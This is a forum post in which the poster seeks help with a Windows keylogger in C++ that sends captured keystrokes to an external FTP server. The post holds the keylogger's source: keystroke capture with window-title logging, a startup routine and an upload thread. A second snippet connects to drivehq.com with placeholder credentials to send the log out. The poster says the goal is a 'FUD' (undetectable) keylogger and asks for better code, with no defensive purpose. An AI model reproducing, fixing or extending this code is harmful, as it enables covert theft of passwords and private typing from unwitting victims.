[C]Searching keylog sample with FTP upload.
« on: April 01, 2011, 08:41:40 PM »
Hi,
I am interesting in how hooked keystroke can be send to my ftp server. I have analized some samples. This is similar one:

Code: [Select]
#include <windows.h>
#include <wininet.h>
#include <fstream>
#include <ctime>

using namespace std;

std::string Keylog(int Key);

int StartUp();

DWORD WINAPI Upload(LPVOID);

int i,
key,
Size,
Sec;

ofstream Log;
ifstream Logger;

char Path[MAX_PATH+10],
RPath[300],
SysDir[MAX_PATH+10],
LogDir[MAX_PATH+10],
WindowText1[MAX_PATH+10],
WindowText2[MAX_PATH+10],
Time[10];

char *Buffer = 0,
*Server = 0,
*User = 0,
*Pass = 0,
*DTask = 0,
*DReg = 0,
*USec = 0,
*UVic = 0;

HKEY hKey;

HINTERNET hFtp,
hInet;

HWND Window;

DWORD dwValue = 1;

int main()
{
StartUp();

GetSystemDirectory(LogDir, sizeof(LogDir));
strcat(LogDir, "\\logg.txt");

Log.open(LogDir, ios:ut);

CreateThread(NULL, 0, Upload, 0, 0, NULL);

while(1)
{
Sleep(5);

_strtime(Time);

Window = GetForegroundWindow();

GetWindowText(Window, WindowText1, sizeof(WindowText1));

for(key = 8; key < 191; key++)
{
if(GetAsyncKeyState(key)&1 == 1)
{
if(strcmp(WindowText1, WindowText2))
{
Log<<"Window Title: "<<WindowText1<<"\n";
Log<<Time<<": ";
strcpy(WindowText2, WindowText1);
}
Log<<Keylog(key);
}
}

}


I have used -wininet linker in my Code:Blocks project. FTP server is drivehq.com

Code: [Select]
hFtp = InternetConnect(hInet, "drivehq.com", INTERNET_DEFAULT_FTP_PORT, "User", "Pass", INTERNET_SERVICE_FTP, 0, 0);

but I don't get keystroke. Any mind? Or maby someone can give better source code? I know that WinInet is not the best fot FUD keylogger, but I just learnin in. Happy ant with socks sample :D

thanks fellas
